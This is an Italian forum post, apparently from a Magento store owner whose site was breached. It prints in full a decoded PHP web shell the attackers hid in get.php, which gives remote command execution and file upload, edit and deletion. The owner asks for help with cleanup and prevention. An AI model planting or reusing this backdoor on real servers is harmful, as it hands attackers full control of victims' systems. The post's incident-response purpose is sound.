Il nostro sito di e-commerce basato su Magento è stato violato durante il fine settimana, gli hacker sono riusciti a ottenere l'accesso ai file Magento e ad incorporare un codice criptato nel file get.php nella directory root.
Sono riuscito a decodificare il codice usando questa risorsa:
Che mi ha dato questo:
if(isset($_GET['cwd'])){
print '<title>. .:: InjectionByME! ::. .</title>';
print '<body text="grey" bgcolor="black">';
print ' <hr><hr>';
print ' <p> <font face="comic sans MS" style="font-size: 10pt">';
print' </p>';
print '<div align="left">';
print '<b>';
set_magic_quotes_runtime(0);
$scriptname = $_SERVER['SCRIPT_NAME'];
$filename = $_POST["filename"];
$currentWD = str_replace("\\","\",$_POST['_cwd']);
$currentCMD = str_replace("\\","\",$_POST['_cmd']);
$UName = 'uname -a';
$SCWD = 'pwd';
$UserID = 'id';
if( $currentWD == "" ) {
$currentWD = $SCWD;
}
if( $_POST['_act'] == "List files!" ) {
$currentCMD = "ls -la";
}
print "<form method=post enctype=\"multipart/form-data\"><hr><hr><table>";
print "<tr><td><b>Execute command:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";
print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>";
print "<tr><td><b>Change directory:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";
print "<td><input type=submit name=_act value=\"List files!\"></td></tr>";
print "<tr><td><b>Edit File:</b></td><td><table width=\"100%\" border=\"0\"><form method=\"post\" action=\"".$scriptname."\"><input name=\"filename\" type=\"text\" value=\"".$filename."\" size=\"100\"></td>";
print "<tr><td><input type=\"submit\" name=\"submit\" value=\"Open\"><input type=\"submit\" name=\"submit\" value=\"Delete\"></td></tr></table>";
print "<tr><td><b>Upload file:</b></td><td><input size=85 type=file name=_upl></td>";
print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>";
print "</div>";
print "</font>";
print "</form>";
print "</td></tr></table>";
if (isset($_POST["filename"])){
$filecontents = htmlentities(file_get_contents($filename));
$filecontent = stripslashes(html_entity_decode($_POST["contents"]));
echo "<tr><td><font face=\"Verdana\" style=\"font-size: 11pt\"><textarea name=\"contents\" cols=\"53\" rows=\"8\">".$filecontents."</textarea></font><br><input type=\"submit\" name=\"submit\" value=\"Save\"><input type=\"reset\" value=\"Reset\">";
if($_POST["submit"] == "Open")
{
if(file_exists($filename))
{
if(!$filecontents)
$status = "<font face='Verdana' style='font-size: 8pt'>Error or No contents in file</font>";
}
else
$status = "<font face='Verdana' style='font-size: 8pt'>File does not exist!</font>";
}
else if($_POST["submit"] == "Delete")
{
if(file_exists($filename))
{
if(unlink($filename))
$status = "<font face='Verdana' style='font-size: 8pt'>File successfully deleted!</font>";
else
$status = "<font face='Verdana' style='font-size: 8pt'>Could not delete file!</font>";
}
else
$status = "<font face='Verdana' style='font-size: 8pt'>File does not exist!</font>";
}
else if($_POST["submit"] == "Save")
{
if(file_exists($filename))
unlink($filename);
$handle = fopen($filename, "w");
if(!$handle)
$status = "<font face='Verdana' style='font-size: 8pt'>Could not open file for write access! </font>";
else
{
if(!fwrite($handle, $filecontent))
$status = $status."<font face='Verdana' style='font-size: 8pt'>Could not write to file! (Maybe you didn't enter any text?)</font>";
fclose($handle);
}
$filecontent = htmlentities($filecontent);
}
print "</table></form><hr><hr>";
}
$currentCMD = str_replace("\\"","\"",$currentCMD);
$currentCMD = str_replace("\\'","\'",$currentCMD);
if( $_POST['_act'] == "Upload!" ) {
if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
print "<center><b>Error while uploading file!</b></center>";
} else {
print "<center><pre>";
system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
print "</pre><b>File uploaded successfully!</b></center>";
}
} else {
print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";
$currentCMD = "cd ".$currentWD.";".$currentCMD;
system("$currentCMD 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm
/tmp/cmdtemp");
print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>Command completed</b></center>";
}
exit;}</pre>
Ho rimosso il codice dal get.php e il sito è di nuovo disponibile, ma non ho davvero la conoscenza delle competenze per sapere dove andare da qui per quanto riguarda:
- Sapendo a cosa serviva lo scopo del suddetto hack?
- Ulteriore ispezione di altri file di Magento per cercare altri hack
- Misura preventiva per difendersi da ulteriori attacchi (a parte un piccolo aggiornamento della versione di Magento, una volta che sono sicuro che i file siano puliti)
Apprezzerei qualsiasi suggerimento che puoi offrire su questo argomento, inoltre prenderei in considerazione l'assunzione di qualcuno che sia in grado di analizzare i file e prevenire ulteriori hack.
Grazie in anticipo.